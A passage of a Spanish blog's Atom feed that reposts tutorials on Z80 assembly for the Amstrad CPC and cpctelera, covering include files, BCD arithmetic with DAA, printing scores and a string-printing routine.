etiqueta2::&lt;/p&gt;&lt;p&gt;F2&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra2::&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pero eso ya es duplicar código&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;mientras sólo sea una etiqueta vale&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;pero si ahora resulta que quieres usar 4 símbolos en ambos ficheros, la cosa crece&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;F1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_2&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_3&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_4&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta2::&lt;/p&gt;&lt;p&gt;F2&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_2&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_3&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_4&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra2::&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Y si tienes que hacer lo mismo en 5 ficheros, va siendo más feo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y si luego necesitas en los 5 ficheros, añadir un símbolo nuevo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;te toca acordarte de todos los ficheros y editarlos uno a uno&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Para evitar hacer eso&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;creas un tercer fichero&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Un fichero de cabecera&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Y haces esto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;FH&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_2&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_3&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_4&lt;/p&gt;&lt;p&gt;&amp;nbsp; .globl cpct_doGame_5&lt;/p&gt;&lt;p&gt;F1&lt;/p&gt;&lt;p&gt;&amp;nbsp; .include &quot;FH&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; etiqueta2::&lt;/p&gt;&lt;p&gt;F2&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; .include &quot;FH&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra1::&lt;/p&gt;&lt;p&gt;&amp;nbsp; otra2::&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Eso es exactamente igual que haberlo escrito en los ficheros F1 y F2&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pero la ventaja es que sólo lo escribes en un sitio y cuando lo edites lo cambias para todos los que necesitan esas declaraciones&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Así puedes tener 20 ficheros que incluyan FH&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y en ninguno de ellos incurres en ningún coste&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;es lo mismo que haberlo escrito en los 20&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;totalmente igual, pero más práctico&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;cuidado, eso sí&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no pongas en FH nada que no sean directivas, como has visto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Las directivas .globl&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Sólo son información para el programa ensamblador&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no generan bytes en el binario resultante&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;no existen en código máquina&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sólo es información para el ensamblador para saber cosas sobre sus símbolos, mientras ensambla&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si metes código o bytes en un fichero del que luego hagas include&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;como lo estás duplicando en todas partes donde haces include&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;en todas ellas se generará ese código o bytes&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;por eso hay que saber usarlo, y entender el proceso, como te cuento ahora&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Porque include es eso&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;un copy/paste automatizado&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/8417348347324878848/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/10/includes-en-cpctelera.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/8417348347324878848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/8417348347324878848'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/10/includes-en-cpctelera.html' title='Includes en cpctelera'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5077297899943950093</id><published>2020-10-11T02:53:00.002-07:00</published><updated>2020-10-11T02:53:18.704-07:00</updated><title type='text'>Sumar decimales en asm</title><content type='html'>&lt;p&gt;&amp;nbsp;Fran Gallego:&lt;/p&gt;&lt;p&gt;@Kalandras Explicación fácil&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pones un número en el acumulador (A)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;que en hexadecimal no tenga números mayores de 9&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;es decir, ambos números hexadecimales entre 0 y 9&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;como si fuera decimal, en vez de hexadecimal&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;a partir de ese momento&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;haces cualquier operación con el número&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;por ejemplo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;add b&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;add #20&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;sub #15&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;lo que quieras&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si es puntuación, estás sumando puntos&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;pero después de cada operación aritmética&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ejecutas la instrucción&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;DAA&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Esa instrucción lo que hace es ajustar el resultado de la operación aritmética&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;como si los dígitos A-F no existieran, como si estuvieras usando números decimales&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;por ejemplo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ld a, #9&lt;/p&gt;&lt;p&gt;add #2&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Da como resultado A = 0B&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;pero&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ld a, #9&lt;/p&gt;&lt;p&gt;add #2&lt;/p&gt;&lt;p&gt;daa&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Da como resultado A = 11&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Como si hubieras sumado en decimal&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;DAA ajusta el resultado de la operación, para que sea como si fueran decimales&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5077297899943950093/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/10/sumar-decimales-en-asm.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5077297899943950093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5077297899943950093'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/10/sumar-decimales-en-asm.html' title='Sumar decimales en asm'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5376172626979447736</id><published>2020-10-10T12:00:00.003-07:00</published><updated>2020-10-10T12:00:56.299-07:00</updated><title type='text'>Imprimir scores en cpctelera</title><content type='html'>&lt;p&gt;&amp;nbsp;Fran Gallego:&lt;/p&gt;&lt;p&gt;Un ejemplo para un score de 4 dígitos&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si tienes el score en HL&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y le sumas una puntuación que está en DE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ld hl, #0x4995&lt;/p&gt;&lt;p&gt;ld de, #0x0010&lt;/p&gt;&lt;p&gt;ld a, l&lt;/p&gt;&lt;p&gt;add e&lt;/p&gt;&lt;p&gt;daa&lt;/p&gt;&lt;p&gt;ld l, a&lt;/p&gt;&lt;p&gt;ld a, h&lt;/p&gt;&lt;p&gt;adc d&lt;/p&gt;&lt;p&gt;daa&lt;/p&gt;&lt;p&gt;ld h, a&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;con eso sumas y da 0x4995+ 0x10 = 0x5005&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Es como si sumaras en decimal&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pues sacando cada dígito por separado&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;porque cada dígito está codificado en 4 bits&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Son dígitos hexadecimales&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si tienes A = 0x95&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Los primeros 4 bits son un 9 ( 1001 )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Los segundos 4 bits son un 5 ( 0101 )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Así que sólo tienes que hacer operaciones de bits para quedarte con cada parte&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y luego sumarles 48 para convertirlos en ASCII&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Por ejemplo, si A = 0x95 = 0b10010101&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;puedes hacer esto para imprimir el 5&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;and #0x0F&lt;/p&gt;&lt;p&gt;add #48&lt;/p&gt;&lt;p&gt;call cpct_drawCharM0_asm&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Con el AND te quedas sólo con los 4 últimos bits (el 5 )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;le sumas 48 y da 53 (carácter del 5 en ASCII)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y se lo pasas a drawChar para imprimir&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Si quieres imprimir el 9 de A = 0x95&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;harías esto&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;rrca&lt;/p&gt;&lt;p&gt;rrca&lt;/p&gt;&lt;p&gt;rrca&lt;/p&gt;&lt;p&gt;rrca&lt;/p&gt;&lt;p&gt;and #0x0F&lt;/p&gt;&lt;p&gt;add #48&lt;/p&gt;&lt;p&gt;call cpct_drawCharM0_asm&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Rotas los bits de A 4 veces para poner abajo los 4 bits de arriba&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;y haces lo mismo de antes&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;De hecho, igual este año lo comento en clase porque es algo que nunca he explicado y creo que puede ser útil&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5376172626979447736/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/10/imprimir-scores-en-cpctelera.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5376172626979447736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5376172626979447736'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/10/imprimir-scores-en-cpctelera.html' title='Imprimir scores en cpctelera'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-7843912854144211568</id><published>2020-08-22T11:32:00.006-07:00</published><updated>2020-08-23T12:32:45.995-07:00</updated><title type='text'>Escribir frases</title><content type='html'>&lt;p&gt;&amp;nbsp;Rutina de ejemplo para escribir frases predefinidas.&lt;/p&gt;&lt;p&gt;la he sacado del foro amstrad.es.&amp;nbsp;&lt;/p&gt;&lt;p&gt;https://www.amstrad.es/forum/viewtopic.php?f=6&amp;amp;t=5591&amp;amp;p=77489&amp;amp;hilit=Message%3A+db+%27hola+mundo%21%27%2C255#p77489&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;code style=&quot;-webkit-text-stroke-width: 0px; border-bottom-color: currentColor; border-bottom-style: none; border-bottom-width: 0px; border-image-outset: 0; border-image-repeat: stretch; border-image-slice: 100%; border-image-source: none; border-image-width: 1; border-left-color: currentColor; border-left-style: none; border-left-width: 0px; border-right-color: currentColor; border-right-style: none; border-right-width: 0px; border-top-color: currentColor; border-top-style: none; border-top-width: 0px; color: seagreen; display: block; font-family: &amp;amp;quot; font-size: 0.9em; font-stretch: normal; font-style: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-variant: normal; font-weight: 400; height: auto; letter-spacing: normal; line-height: 1.3em; margin-bottom: 2px; margin-left: 0px; margin-right: 0px; margin-top: 2px; max-height: 200px; orphans: 2; overflow: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 5px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; vertical-align: baseline; white-space: normal; word-spacing: 0px;&quot;&gt;org &amp;amp;4200&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;;origen de la rutina&lt;/code&gt;&lt;code style=&quot;-webkit-text-stroke-width: 0px; border-bottom-color: currentColor; border-bottom-style: none; border-bottom-width: 0px; border-image-outset: 0; border-image-repeat: stretch; border-image-slice: 100%; border-image-source: none; border-image-width: 1; border-left-color: currentColor; border-left-style: none; border-left-width: 0px; border-right-color: currentColor; border-right-style: none; border-right-width: 0px; border-top-color: currentColor; border-top-style: none; border-top-width: 0px; color: seagreen; display: block; font-family: &amp;amp;quot; font-size: 0.9em; font-stretch: normal; font-style: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-variant: normal; font-weight: 400; height: auto; letter-spacing: normal; line-height: 1.3em; margin-bottom: 2px; margin-left: 0px; margin-right: 0px; margin-top: 2px; max-height: 200px; orphans: 2; overflow: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 5px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; vertical-align: baseline; white-space: normal; word-spacing: 0px;&quot;&gt;Printchar equ &amp;amp;Bb5a&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp; ;instrucción para imprimir un caracter&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ld hl,Message&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;carga en hl la dirección de message&lt;br /&gt;Call PrintString&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;llama a la rutina printstring&lt;br /&gt;ret&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; ;&lt;/span&gt;vuelve desde donde le llamaron&lt;span&gt; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;PrintString:&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;loop para imprimir&lt;br /&gt;ld a,(hl)&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;carga en a la dirección de memoria ubicada en hl&lt;br /&gt;cp 255&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;compara si a es 255&lt;br /&gt;ret z&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;; y vuelve si es asi&lt;br /&gt;inc hl&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; ;incrementa en uno la posición de memoria de hl &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;call PrintChar&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;imprime el carácter ubicado en a&lt;br /&gt;jr PrintString&lt;span&gt; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;salta a printstring&lt;br /&gt;&lt;br /&gt;Message: db &#39;hola mundo!&#39;,255&lt;span&gt; &amp;nbsp;&amp;nbsp; &lt;/span&gt;;frase de ejemplo,termina en ,255 para control&lt;/code&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;post has-profile bg2 unreadpost&quot; id=&quot;p77472&quot; style=&quot;background: rgb(241, 241, 241); border-image: none; border-radius: 5px; border: 0px; color: #525252; font-family: &amp;quot;tahoma&amp;quot;,&amp;quot;arial&amp;quot;,&amp;quot;helvetica&amp;quot;,sans-serif; font-size: 12px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px 0px 5px; padding: 0px; position: relative; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;inner&quot; style=&quot;border-image: none; border: 0px; font-size-adjust: none; font-stretch: inherit; font: inherit; margin: 0px; padding: 0px; vertical-align: baseline; width: 340px;&quot;&gt;&lt;div class=&quot;postbody&quot; style=&quot;border-bottom-left-radius: 7px; border-bottom-right-radius: 7px; border-image: none; border-top-right-radius: 0px; border: 0px; clear: none; color: #333333; float: none; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 1.48em; margin: 0px; min-height: 0px; overflow: hidden; padding: 18px 18px 36px; position: inherit; vertical-align: baseline; width: auto;&quot;&gt;&lt;div id=&quot;post_content77472&quot; style=&quot;border-image: none; border: 0px; font-size-adjust: none; font-stretch: inherit; font: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;content&quot; style=&quot;border-image: none; border: 0px; clear: both; color: #414141; font-size: 14px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 21px; margin: 0px; max-width: 832px; min-height: 3em; overflow: auto; padding: 0px 0px 1px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;codebox&quot; style=&quot;background-color: white; border-image: none; border: 1px solid rgb(201, 210, 216); font-family: inherit; font-size: 1em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; overflow-wrap: normal; overflow-x: scroll; padding: 3px; vertical-align: baseline;&quot;&gt;&lt;code style=&quot;border-image: none; border: 0px; color: seagreen; display: block; font-family: &amp;quot;monaco&amp;quot;,&amp;quot;andale mono&amp;quot;,&amp;quot;courier new&amp;quot;,&amp;quot;courier&amp;quot;,monospace; font-size: 0.9em; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; height: auto; line-height: 1.3em; margin: 2px 0px; max-height: 200px; overflow: auto; padding: 5px 0px 0px; vertical-align: baseline;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/code&gt;&lt;code style=&quot;border-image: none; border: 0px; color: seagreen; display: block; font-family: &amp;quot;monaco&amp;quot;,&amp;quot;andale mono&amp;quot;,&amp;quot;courier new&amp;quot;,&amp;quot;courier&amp;quot;,monospace; font-size: 0.9em; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; height: auto; line-height: 1.3em; margin: 2px 0px; max-height: 200px; overflow: auto; padding: 5px 0px 0px; vertical-align: baseline;&quot;&gt;&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/7843912854144211568/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/08/escribir-frases.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7843912854144211568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7843912854144211568'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/08/escribir-frases.html' title='Escribir frases'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-966519171618193358</id><published>2020-08-22T04:56:00.002-07:00</published><updated>2020-08-23T12:39:39.292-07:00</updated><title type='text'>Rutina detección teclado</title><content type='html'>&lt;p&gt;&lt;span style=&quot;-webkit-text-stroke-width: 0px; background-color: white; color: black; display: inline !important; float: none; font-family: Times New Roman; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;un ejemplo de rutina&amp;nbsp; de detección de teclado. dar las gracias a artaburu por su permiso para poder publicarla.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;-webkit-text-stroke-width: 0px; background-color: white; color: black; display: inline !important; float: none; font-family: Times New Roman; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span face=&quot;&quot; style=&quot;-webkit-text-stroke-width: 0px; background-color: #f1f1f1; color: #414141; font-family: &amp;amp;quot; font-size: 14px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;Aquí cuelgo las rutinas que uso para detectar el teclado sin usar las opciones del firmware. Como ejemplo incluyo la detección de las teclas del cursor y del 